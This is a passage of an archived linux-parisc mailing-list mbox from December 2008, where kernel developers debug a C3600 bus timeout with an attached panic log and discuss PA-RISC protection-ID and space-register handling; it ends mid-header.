> > the P-bit off...
> 
> I'm afraid you can't.  The invisibility of the kernel space from user
> space relies on this, as does quite a lot of the page protections.
> 

Access right bits are still enforced, just the access id checking is
disabled when the P-bit is off.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Mon, 22 Dec 2008 23:49:48 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <20081222234948.776edb1b@tuxicoman.be>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
	<20081220221653.GA12880@bombadil.infradead.org>
	<20081220222100.GB12880@bombadil.infradead.org>
	<20081221081206.GC2047@colo.lackof.org>
	<20081222224023.2488f2ef@tuxicoman.be>
	<20081222214743.GC30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/N7K_Q8WchLk_0F25DC5ou0z"
X-Trace: ger.gmane.org 1229986269 18680 80.91.229.12 (22 Dec 2008 22:51:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 22:51:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 23:52:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEtd6-0002IS-0q
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 23:52:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755316AbYLVWuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 17:50:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754756AbYLVWue
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 17:50:34 -0500
Original-Received: from cable-85.28.88.25.coditel.net ([85.28.88.25]:48846 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755306AbYLVWud (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 17:50:33 -0500
Original-Received: from wifi007.bxl.tuxicoman.be ([172.20.1.7] helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LEtbU-0001LC-SH; Mon, 22 Dec 2008 23:50:28 +0100
In-Reply-To: <20081222214743.GC30144@bombadil.infradead.org>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1025>

--MP_/N7K_Q8WchLk_0F25DC5ou0z
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Mon, 22 Dec 2008 16:47:43 -0500
Kyle McMartin <kyle@infradead.org> wrote:

> > Regarding Kyle's patch, it didn't changed anything but since the
> > fault isn't at inw(), I'm not sure it still even makes sens to
> > apply it.
> > 
> 
> you won't know for sure, since readl/etc are inlines into the
> caller...

It seems that I forgot to include your patch when I switched to the
git tree. I've been doing tests again with your patch and things are
different :

The command "dd if=/dev/zero of=/dev/sdc bs=1M" didn't trigger HPMC
anymore after a reasonable amount of time.

I then tried a NFS copy from a NFS share to the disk. The kernel did
panic with the attached output.

Hopefully this will be more useful.

  Guy


--MP_/N7K_Q8WchLk_0F25DC5ou0z
Content-Type: application/octet-stream; name=c3600-sata-pci-panic
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=c3600-sata-pci-panic

WyAxNTc3Ljk5OTg0Ml0gYXRhMS4wMDogZXhjZXB0aW9uIEVtYXNrIDB4NTIgU0FjdCAweDAgU0Vy
ciAweGZmZmZmZmZmIGFjdGlvbiAweGUKWyAxNTc3Ljk5OTg0Ml0gYXRhMTogU0Vycm9yOiB7IFJl
Y292RGF0YSBSZWNvdkNvbW0gVW5yZWNvdkRhdGEgUGVyc2lzdCBQcm90byBIb3N0SW50IFBIWVJk
eUNoZyBQSFlJbnQgQ29tbVdha2UgMTBCOEIgRGlzcGFyIEJhZENSQyBIYW5kc2hrIExpbmtTZXEg
VHJTdGFUcm5zIFVucmVjRklTIERldkV4Y2ggfQpbIDE1NzcuOTk5ODQyXSBhdGExLjAwOiBjbWQg
MzUvMDA6MDA6YmY6MWY6MmYvMDA6MDQ6MDA6MDA6MDAvZTAgdGFnIDAgZG1hIDUyNDI4OCBvdXQK
WyAxNTc3Ljk5OTg0Ml0gICAgICAgICAgcmVzIDQwLzAwOjAwOjAwOjAwOjAwLzAwOjAwOjAwOjAw
OjAwLzAwIEVtYXNrIDB4NzIgKGhvc3QgYnVzIGVycm9yKQpbIDE1NzcuOTk5ODQyXSBhdGExLjAw
OiBzdGF0dXM6IHsgRFJEWSB9ClsgMTU3Ny45OTk4NDJdIGF0YTE6IGhhcmQgcmVzZXR0aW5nIGxp
bmsKWyAxNTc4LjcxOTg0Ml0gYXRhMTogU0FUQSBsaW5rIGRvd24gKFNTdGF0dXMgRkZGRkZGRkYg
U0NvbnRyb2wgRkZGRkZGRkYpClsgMTU4My43MTk4NDFdIGF0YTE6IGhhcmQgcmVzZXR0aW5nIGxp
bmsKWyAxNTg0LjAzOTg0MV0gYXRhMTogU0FUQSBsaW5rIGRvd24gKFNTdGF0dXMgRkZGRkZGRkYg
U0NvbnRyb2wgRkZGRkZGRkYpClsgMTU4OS4wMzk4NDFdIGF0YTE6IGhhcmQgcmVzZXR0aW5nIGxp
bmsKWyAxNTg5LjM1OTg0MV0gYXRhMTogU0FUQSBsaW5rIGRvd24gKFNTdGF0dXMgRkZGRkZGRkYg
U0NvbnRyb2wgRkZGRkZGRkYpClsgMTU4OS4zNTk4NDFdIGF0YTEuMDA6IGRpc2FibGVkClsgMTU4
OS4zNTk4NDFdIHNkIDI6MDowOjA6IFtzZGNdIFJlc3VsdDogaG9zdGJ5dGU9MHgwMCBkcml2ZXJi
eXRlPTB4MDgKWyAxNTg5LjM1OTg0MV0gc2QgMjowOjA6MDogW3NkY10gU2Vuc2UgS2V5IDogMHhi
IFtjdXJyZW50XSBbZGVzY3JpcHRvcl0KWyAxNTg5LjM1OTg0MV0gRGVzY3JpcHRvciBzZW5zZSBk
YXRhIHdpdGggc2Vuc2UgZGVzY3JpcHRvcnMgKGluIGhleCk6ClsgMTU4OS4zNTk4NDFdICAgICAg
ICAgNzIgMGIgMDAgMDAgMDAgMDAgMDAgMGMgMDAgMGEgODAgMDAgMDAgMDAgMDAgMDAgClsgMTU4
OS4zNTk4NDFdICAgICAgICAgMDAgMDAgMDAgMDAgClsgMTU4OS4zNTk4NDFdIHNkIDI6MDowOjA6
IFtzZGNdIEFTQz0weDAgQVNDUT0weDAKWyAxNTg5LjM1OTg0MV0gZW5kX3JlcXVlc3Q6IEkvTyBl
cnJvciwgZGV2IHNkYywgc2VjdG9yIDMwODgzMTkKWyAxNTg5LjM1OTg0MV0gQnVmZmVyIEkvTyBl
cnJvciBvbiBkZXZpY2Ugc2RjMSwgbG9naWNhbCBibG9jayAzODYwMzIKWyAxNTg5LjM1OTg0MV0g
bG9zdCBwYWdlIHdyaXRlIGR1ZSB0byBJL08gZXJyb3Igb24gc2RjMQpbIDE1ODkuMzU5ODQxXSBC
dWZmZXIgSS9PIGVycm9yIG9uIGRldmljZSBzZGMxLCBsb2dpY2FsIGJsb2NrIDM4NjAzMwpbIDE1
ODkuMzU5ODQxXSBsb3N0IHBhZ2Ugd3JpdGUgZHVlIHRvIEkvTyBlcnJvciBvbiBzZGMxClsgMTU4
OS4zNTk4NDFdIEJ1ZmZlciBJL08gZXJyb3Igb24gZGV2aWNlIHNkYzEsIGxvZ2ljYWwgYmxvY2sg
Mzg2MDM0ClsgMTU4OS4zNTk4NDFdIGxvc3QgcGFnZSB3cml0ZSBkdWUgdG8gSS9PIGVycm9yIG9u
IHNkYzEKWyAxNTg5LjM1OTg0MV0gQnVmZmVyIEkvTyBlcnJvciBvbiBkZXZpY2Ugc2RjMSwgbG9n
aWNhbCBibG9jayAzODYwMzUKWyAxNTg5LjM1OTg0MV0gbG9zdCBwYWdlIHdyaXRlIGR1ZSB0byBJ
L08gZXJyb3Igb24gc2RjMQpbIDE1ODkuMzU5ODQxXSBCdWZmZXIgSS9PIGVycm9yIG9uIGRldmlj
ZSBzZGMxLCBsb2dpY2FsIGJsb2NrIDM4NjAzNgpbIDE1ODkuMzU5ODQxXSBsb3N0IHBhZ2Ugd3Jp
dGUgZHVlIHRvIEkvTyBlcnJvciBvbiBzZGMxClsgMTU4OS4zNTk4NDFdIEJ1ZmZlciBJL08gZXJy
b3Igb24gZGV2aWNlIHNkYzEsIGxvZ2ljYWwgYmxvY2sgMzg2MDM3ClsgMTU4OS4zNTk4NDFdIGxv
c3QgcGFnZSB3cml0ZSBkdWUgdG8gSS9PIGVycm9yIG9uIHNkYzEKWyAxNTg5LjM1OTg0MV0gQnVm
ZmVyIEkvTyBlcnJvciBvbiBkZXZpY2Ugc2RjMSwgbG9naWNhbCBibG9jayAzODYwMzgKWyAxNTg5
LjM1OTg0MV0gbG9zdCBwYWdlIHdyaXRlIGR1ZSB0byBJL08gZXJyb3Igb24gc2RjMQpbIDE1ODku
MzU5ODQxXSBCdWZmZXIgSS9PIGVycm9yIG9uIGRldmljZSBzZGMxLCBsb2dpY2FsIGJsb2NrIDM4
NjAzOQpbIDE1ODkuMzU5ODQxXSBsb3N0IHBhZ2Ugd3JpdGUgZHVlIHRvIEkvTyBlcnJvciBvbiBz
ZGMxClsgMTU4OS4zNTk4NDFdIEJ1ZmZlciBJL08gZXJyb3Igb24gZGV2aWNlIHNkYzEsIGxvZ2lj
YWwgYmxvY2sgMzg2MDQwClsgMTU4OS4zNTk4NDFdIGxvc3QgcGFnZSB3cml0ZSBkdWUgdG8gSS9P
IGVycm9yIG9uIHNkYzEKWyAxNTg5LjM1OTg0MV0gQnVmZmVyIEkvTyBlcnJvciBvbiBkZXZpY2Ug
c2RjMSwgbG9naWNhbCBibG9jayAzODYwNDEKWyAxNTg5LjM1OTg0MV0gbG9zdCBwYWdlIHdyaXRl
IGR1ZSB0byBJL08gZXJyb3Igb24gc2RjMQpbIDE1ODkuMzU5ODQxXSBzZCAyOjA6MDowOiByZWpl
Y3RpbmcgSS9PIHRvIG9mZmxpbmUgZGV2aWNlClsgMTU4OS4zNTk4NDFdIGF0YTE6IEVIIGNvbXBs
ZXRlClsgMTU4OS4zNTk4NDFdIGF0YTEuMDA6IGRldGFjaGluZyAoU0NTSSAyOjA6MDowKQpbIDE1
ODkuMzU5ODQxXSBzZCAyOjA6MDowOiBbc2RjXSBSZXN1bHQ6IGhvc3RieXRlPTB4MDEgZHJpdmVy
Ynl0ZT0weDAwClsgMTU4OS4zNTk4NDFdIGVuZF9yZXF1ZXN0OiBJL08gZXJyb3IsIGRldiBzZGMs
IHNlY3RvciAzMDg5MzQzClsgMTU4OS40MDMxNzRdIEVYVDMtZnMgZXJyb3IgKGRldmljZSBzZGMx
KTogcmVhZF9ibG9ja19iaXRtYXA6IENhbm5vdCByZWFkIGJsb2NrIGJpdG1hcCAtIGJsb2NrX2dy
b3VwID0gMTMsIGJsb2NrX2JpdG1hcCA9IDQyNTk4NApbIDE1ODkuNDA5ODQxXSBFWFQzLWZzIGVy
cm9yIChkZXZpY2Ugc2RjMSk6IHJlYWRfYmxvY2tfYml0bWFwOiBDYW5ub3QgcmVhZCBibG9jayBi
aXRtYXAgLSBibG9ja19ncm91cCA9IDEzLCBibG9ja19iaXRtYXAgPSA0MjU5ODQKWyAxNTg5LjQw
OTg0MV0gLS0tLS0tLS0tLS0tWyBjdXQgaGVyZSBdLS0tLS0tLS0tLS0tClsgMTU4OS40NjY1MDdd
IEJhZG5lc3MgYXQgZnMvYnVmZmVyLmM6MTE4NgpbIDE1ODkuNDY2NTA3XSAKWyAxNTg5LjQ2NjUw
N10gICAgICBZWnJ2V0VTVEhMTlhCQ1ZNY2JjYmNiY2JPR0ZSUVBESQpbIDE1ODkuNDY2NTA3XSBQ
U1c6IDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAxMTAwMDAxMTExIE5vdCB0YWludGVkClsgMTU4OS40
NjY1MDddIHIwMC0wMyAgMDAwNDAzMGYgMTA1NmY4YjAgMTAxZDBjY2MgOGU5MDg0MDAKWyAxNTg5
LjQ2NjUwN10gcjA0LTA3ICAzY2Y5NzQwMCA4ZjUxMGFmYyAwMDAwMDAwMSAzY2Y5NjFhMApbIDE1
ODkuNDY2NTA3XSByMDgtMTEgIDhlOTA4NDAwIDcyMjZjN2Q0IDhkZWQzZjAwIDAwMDAwMDAwClsg
MTU4OS40NjY1MDddIHIxMi0xNSAgOGViODEzYzAgMDAwMDAwMDEgNDkyZWNiMzAgNDkyZWNiMzAK
WyAxNTg5LjQ2NjUwN10gcjE2LTE5ICA3MjI2YzhjOCA1MTk1ZjNlYyAwMDA2ODAwMCBkZmQxMDFk
MQpbIDE1ODkuNDY2NTA3XSByMjAtMjMgIDNjZjZmMDAwIDAwMDAwMDFkIDAwMDQwMDAwIDAwMDAw
ZThlClsgMTU4OS40NjY1MDddIHIyNC0yNyAgMDAwMDAwMDAgMDAwMDBlOGYgOGY1MTBhZmMgMTA0
Yzc4YjAKWyAxNTg5LjQ2NjUwN10gcjI4LTMxICAwMDAwMDAwMCAwMDAwMDAwNiA3MjI2Y2IwMCBm
ZmZmZmZmNwpbIDE1ODkuNDY2NTA3XSBzcjAwLTAzICAwMDAwMDAwMCAwMDAwMTVlZiAwMDAwMDAw
MCAwMDAwMDAzNQpbIDE1ODkuNDY2NTA3XSBzcjA0LTA3ICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMCAwMDAwMDAwMApbIDE1ODkuNDY2NTA3XSAKWyAxNTg5LjQ2NjUwN10gSUFTUTogMDAwMDAw
MDAgMDAwMDAwMDAgSUFPUTogMTAxOWNjODggMTAxOWNjOGMKWyAxNTg5LjQ2NjUwN10gIElJUjog
MDNmZmUwMWYgICAgSVNSOiAwMDAwMDAwMCAgSU9SOiAwMDAwMDAwMApbIDE1ODkuNDY2NTA3XSAg
Q1BVOiAgICAgICAgMCAgIENSMzA6IDcyMjZjMDAwIENSMzE6IDExMTExMTExClsgMTU4OS40NjY1
MDddICBPUklHX1IyODogNDkyZWNiMzAKWyAxNTg5LjQ2NjUwN10gIElBT1FbMF06IG1hcmtfYnVm
ZmVyX2RpcnR5KzB4ODQvMHhhMApbIDE1ODkuNDY2NTA3XSAgSUFPUVsxXTogbWFya19idWZmZXJf
ZGlydHkrMHg4OC8weGEwClsgMTU4OS40NjY1MDddICBSUChyMik6IGV4dDNfY29tbWl0X3N1cGVy
KzB4N2MvMHhiOApbIDE1ODkuNDY2NTA3XSBCYWNrdHJhY2U6ClsgMTU4OS40NjY1MDddICBbPDEw
MWQwY2NjPl0gZXh0M19jb21taXRfc3VwZXIrMHg3Yy8weGI4ClsgMTU4OS40NjY1MDddICBbPDEw
MWQxY2MwPl0gZXh0M19oYW5kbGVfZXJyb3IrMHg3Yy8weGM0ClsgMTU4OS40NjY1MDddICBbPDEw
MWQxZGY4Pl0gZXh0M19lcnJvcisweDY0LzB4NzgKWyAxNTg5LjQ2NjUwN10gIFs8MTAxYzQxNjg+
XSByZWFkX2Jsb2NrX2JpdG1hcCsweGI0LzB4MWQ0ClsgMTU4OS40NjY1MDddICBbPDEwMWM1Mjk0
Pl0gZXh0M19uZXdfYmxvY2tzKzB4M2JjLzB4NmQ4ClsgMTU4OS40NjY1MDddICBbPDEwMWM4ZWNj
Pl0gZXh0M19nZXRfYmxvY2tzX2hhbmRsZSsweDM4MC8weGE0OApbIDE1ODkuNDY2NTA3XSAgWzwx
MDFjOTdmMD5dIGV4dDNfZ2V0X2Jsb2NrKzB4N2MvMHgxMGMKWyAxNTg5LjQ2NjUwN10gIFs8MTAx
OWRjNjg+XSBfX2Jsb2NrX3ByZXBhcmVfd3JpdGUrMHgxZTAvMHgzZDAKWyAxNTg5LjQ2NjUwN10g
IFs8MTAxOWRmMTA+XSBibG9ja193cml0ZV9iZWdpbisweDY4LzB4MTM4ClsgMTU4OS40NjY1MDdd
ICBbPDEwMWNiMjM4Pl0gZXh0M193cml0ZV9iZWdpbisweDEwMC8weDI3MApbIDE1ODkuNDY2NTA3
XSAgWzwxMDE1NGI5Yz5dIGdlbmVyaWNfZmlsZV9idWZmZXJlZF93cml0ZSsweDEyYy8weDMxNApb
IDE1ODkuNDY2NTA3XSAgWzwxMDE1NTJkOD5dIF9fZ2VuZXJpY19maWxlX2Fpb193cml0ZV9ub2xv
Y2srMHgyYzQvMHg0YTQKWyAxNTg5LjQ2NjUwN10gIFs8MTAxNTU1Mzg+XSBnZW5lcmljX2ZpbGVf
YWlvX3dyaXRlKzB4ODAvMHgxMGMKWyAxNTg5LjQ2NjUwN10gIFs8MTAxYzY1MjQ+XSBleHQzX2Zp
bGVfd3JpdGUrMHgzNC8weGQ4ClsgMTU4OS40NjY1MDddICBbPDEwMTdiMzU0Pl0gZG9fc3luY193
cml0ZSsweGVjLzB4MTQ0ClsgMTU4OS40NjY1MDddICBbPDEwMTdiZDI4Pl0gdmZzX3dyaXRlKzB4
OTgvMHgxM2MKWyAxNTg5LjQ2NjUwN10gClsgMTU4OS40NzMxNzRdIEpCRDogRGV0ZWN0ZWQgSU8g
ZXJyb3JzIHdoaWxlIGZsdXNoaW5nIGZpbGUgZGF0YSBvbiBzZGMxClsgMTU4OS40NzMxNzRdIEFi
b3J0aW5nIGpvdXJuYWwgb24gZGV2aWNlIHNkYzEuClsgMTU4OS41MjY1MDddIGV4dDNfYWJvcnQg
Y2FsbGVkLgpbIDE1ODkuNTI2NTA3XSBFWFQzLWZzIGVycm9yIChkZXZpY2Ugc2RjMSk6IGV4dDNf
am91cm5hbF9zdGFydF9zYjogRGV0ZWN0ZWQgYWJvcnRlZCBqb3VybmFsClsgMTU4OS41MjY1MDdd
IFJlbW91bnRpbmcgZmlsZXN5c3RlbSByZWFkLW9ubHkKWyAxNTg5LjkzOTg0MV0gSkJEOiBEZXRl
Y3RlZCBJTyBlcnJvcnMgd2hpbGUgZmx1c2hpbmcgZmlsZSBkYXRhIG9uIHNkYzEKWyAxNTg5Ljkz
OTg0MV0gX19qb3VybmFsX3JlbW92ZV9qb3VybmFsX2hlYWQ6IGZyZWVpbmcgYl9jb21taXR0ZWRf
ZGF0YQpbIDE1OTAuNTU2NTA3XSBzZCAyOjA6MDowOiBbc2RjXSBTdG9wcGluZyBkaXNrClsgMTU5
MC41NjMxNzRdIHNkIDI6MDowOjA6IFtzZGNdIFNUQVJUX1NUT1AgRkFJTEVEClsgMTU5MC41NjMx
NzRdIHNkIDI6MDowOjA6IFtzZGNdIFJlc3VsdDogaG9zdGJ5dGU9MHgwNCBkcml2ZXJieXRlPTB4
MDAKCg==

--MP_/N7K_Q8WchLk_0F25DC5ou0z--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Mon, 22 Dec 2008 23:59:12 GMT
Lines: 16
Approved: news@gmane.org
Message-ID: <200812222359.mBMNxCEB001541@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1229990366 29399 80.91.229.12 (22 Dec 2008 23:59:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 23:59:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 01:00:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEuhK-0005ws-GP
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 01:00:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755014AbYLVX7P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 18:59:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755330AbYLVX7P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 18:59:15 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:47485 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755014AbYLVX7O (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 18:59:14 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+1fzXiADQYIbUIxtqPr95XopjKzmcFRus@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBMNxCxA001543
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 22 Dec 2008 23:59:12 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBMNxCEB001541
	for linux-parisc@vger.kernel.org; Mon, 22 Dec 2008 23:59:12 GMT
X-Virus-Scanned: ClamAV 0.93.3/8793/Mon Dec 22 16:56:32 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 22 Dec 2008 23:59:14 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1026>

New commits:
commit 6c4dfa8f8bcf032137aacb3640d7dd9d75b2b607
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Mon Dec 22 23:58:31 2008 +0000

    parisc: fix braino in commit adding __space_to_prot
    
    Shouldn't commit without building before morning coffee...
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 21:31:10 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20081223023111.7D9D24EE8@hiauly1.hia.nrc.ca>
References: <1229985816.3345.43.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229999488 17018 80.91.229.12 (23 Dec 2008 02:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 02:31:28 +0000 (UTC)
Cc: deller@gmx.de, kyle@infradead.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 03:32:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEx4P-0000W9-0l
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 03:32:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754274AbYLWCbN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 21:31:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754514AbYLWCbN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 21:31:13 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3112 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754274AbYLWCbN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 21:31:13 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7D9D24EE8; Mon, 22 Dec 2008 21:31:11 -0500 (EST)
In-Reply-To: <1229985816.3345.43.camel@localhost.localdomain> from "James Bottomley" at Dec 22, 2008 04:43:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1027>

> Actually, it should bug more often.  This function:
> flush_user_cache_page_non_current() is very rarely called (which is
> hopefully why you don't see an increase in bugs).  However, this is a
> kernel function ... if you call load_context() here, you'll get the user
> protection IDs in the register and it will immediately fault when it
> returns to the kernel.  All it should be doing (which is what it
> currently does) is to set up sr3 to allow the kernel to poke into a user
> address space, which is the design of the function.

As things stand, the call is fully inlined.  Nothing can be poked into
the user address space without the protection ID register being correctly
set.  The cache flushes can trigger a non-access tlb miss fault.  At
the moment, I can't see how this function could cause a protection ID fault.
However, it still seems good practice to set cr8 consistently when the
user context is changed.

The kernel uses space register values of zero, so it shouldn't fault
because of the change to sr3 and cr8 for non current.  The values are
restored before flush_user_cache_page_non_current() exits.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 21:54:21 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <20081223025421.GF30144@bombadil.infradead.org>
References: <1229985816.3345.43.camel@localhost.localdomain> <20081223023111.7D9D24EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230000882 19663 80.91.229.12 (23 Dec 2008 02:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 02:54:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	deller@gmx.de, kyle@infradead.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 03:55:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LExQr-00066E-Uu
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 03:55:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750900AbYLWCy0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 21:54:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751277AbYLWCy0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 21:54:26 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39597 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
